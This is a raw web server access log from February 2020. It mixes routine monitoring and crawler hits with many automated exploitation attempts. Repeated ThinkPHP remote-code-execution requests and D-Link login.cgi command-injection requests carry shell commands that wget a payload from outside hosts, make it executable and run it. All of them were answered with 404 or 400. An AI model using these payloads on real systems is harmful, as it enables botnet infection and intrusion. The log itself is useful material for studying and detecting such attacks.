31.162.225.0 - - [04/Feb/2020:14:49:42 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:14:50:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:14:51:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:14:52:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:14:53:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:14:54:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.90.32.58 - - [04/Feb/2020:14:55:23 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:14:55:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.141.166.52 - - [04/Feb/2020:14:56:22 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:14:56:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:14:57:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.126.106.174 - - [04/Feb/2020:14:58:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [04/Feb/2020:14:58:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
198.108.66.64 - - [04/Feb/2020:14:59:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [04/Feb/2020:14:59:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:15:00:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.97.57.62 - - [04/Feb/2020:15:01:05 +0100] "POST /editBlackAndWhiteList HTTP/1.1" 404 325 "-" "Help"
112.64.147.98 - - [04/Feb/2020:15:01:31 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [04/Feb/2020:15:01:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:15:02:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:15:03:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:15:04:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.249.65.234 - - [04/Feb/2020:15:05:22 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.65.232 - - [04/Feb/2020:15:05:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
212.91.246.72 - - [04/Feb/2020:15:05:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:15:06:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.113.4.172 - - [04/Feb/2020:15:06:42 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:15:07:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:15:08:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:15:09:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:15:10:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
153.99.80.194 - - [04/Feb/2020:15:11:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:15:11:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:15:12:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:15:13:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:15:14:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:15:15:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.68.0.157 - - [04/Feb/2020:15:16:06 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:15:16:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:15:17:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:15:18:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:15:19:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
41.41.25.179 - - [04/Feb/2020:15:20:03 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.132.53.119/Venom.sh%20-O%20-%3E%20/tmp/kh;Venom.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
175.35.173.108 - - [04/Feb/2020:15:20:04 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [04/Feb/2020:15:20:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.116.43.47 - - [04/Feb/2020:15:20:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://scan.casualaffinity.net/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
95.57.98.124 - - [04/Feb/2020:15:21:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:15:21:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
217.128.228.151 - - [04/Feb/2020:15:22:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:15:22:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
92.112.9.15 - - [04/Feb/2020:15:23:11 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [04/Feb/2020:15:23:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.22.223.46 - - [04/Feb/2020:15:23:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:15:24:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.58.30.76 - - [04/Feb/2020:15:25:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:15:25:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
189.46.82.11 - - [04/Feb/2020:15:26:05 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [04/Feb/2020:15:26:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
31.215.12.47 - - [04/Feb/2020:15:26:43 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [04/Feb/2020:15:27:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:15:28:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.22.205.164 - - [04/Feb/2020:15:28:54 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:15:29:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:15:30:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:15:31:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.178.8.198 - - [04/Feb/2020:15:32:39 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [04/Feb/2020:15:32:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.178.8.198 - - [04/Feb/2020:15:32:42 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.178.8.198 - - [04/Feb/2020:15:32:49 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.178.8.198 - - [04/Feb/2020:15:33:00 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.178.8.198 - - [04/Feb/2020:15:33:24 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [04/Feb/2020:15:33:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:15:34:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.26.185.11 - - [04/Feb/2020:15:35:17 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:15:35:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:15:36:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:15:37:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:15:38:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
188.18.24.159 - - [04/Feb/2020:15:39:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:15:39:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.51.64.124 - - [04/Feb/2020:15:40:34 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:15:40:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:15:41:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
91.126.46.172 - - [04/Feb/2020:15:42:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:15:42:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.112.248.27 - - [04/Feb/2020:15:43:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:15:43:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:15:44:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:15:45:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:15:46:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
189.78.144.147 - - [04/Feb/2020:15:47:11 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
138.204.203.38 - - [04/Feb/2020:15:47:34 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
212.91.246.72 - - [04/Feb/2020:15:47:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
133.202.165.131 - - [04/Feb/2020:15:48:06 +0100] "GET /login.cgi?cli=aa%20aa%27;rm -rf /tmp/ff;wget%20http://91.208.184.71/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 404 310 "-" "DEMONS/2.0"
193.198.66.70 - - [04/Feb/2020:15:48:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
118.71.213.249 - - [04/Feb/2020:15:48:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:15:48:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
151.20.76.234 - - [04/Feb/2020:15:49:13 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [04/Feb/2020:15:49:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
119.5.138.60 - - [04/Feb/2020:15:49:44 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:15:50:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.51.5.160 - - [04/Feb/2020:15:50:49 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:15:51:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:15:52:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:15:53:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:15:54:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:15:55:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:15:56:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:15:57:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
111.35.173.136 - - [04/Feb/2020:15:58:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:15:58:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
151.20.76.234 - - [04/Feb/2020:15:59:04 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [04/Feb/2020:15:59:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
187.102.55.4 - - [04/Feb/2020:16:00:15 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [04/Feb/2020:16:00:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.116.90.238 - - [04/Feb/2020:16:00:49 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:16:01:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.112.150.75 - - [04/Feb/2020:16:01:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
125.72.69.122 - - [04/Feb/2020:16:02:12 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
125.72.69.122 - - [04/Feb/2020:16:02:15 +0100] "POST /Admin52f65bd4/Login.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
125.72.69.122 - - [04/Feb/2020:16:02:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)"
125.72.69.122 - - [04/Feb/2020:16:02:37 +0100] "GET /l.php HTTP/1.1" 404 310 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)"
125.72.69.122 - - [04/Feb/2020:16:02:39 +0100] "GET /phpinfo.php HTTP/1.1" 404 316 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)"
125.72.69.122 - - [04/Feb/2020:16:02:39 +0100] "GET /test.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)"
125.72.69.122 - - [04/Feb/2020:16:02:39 +0100] "POST /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
212.91.246.72 - - [04/Feb/2020:16:02:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
125.72.69.122 - - [04/Feb/2020:16:03:01 +0100] "POST /bbs.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
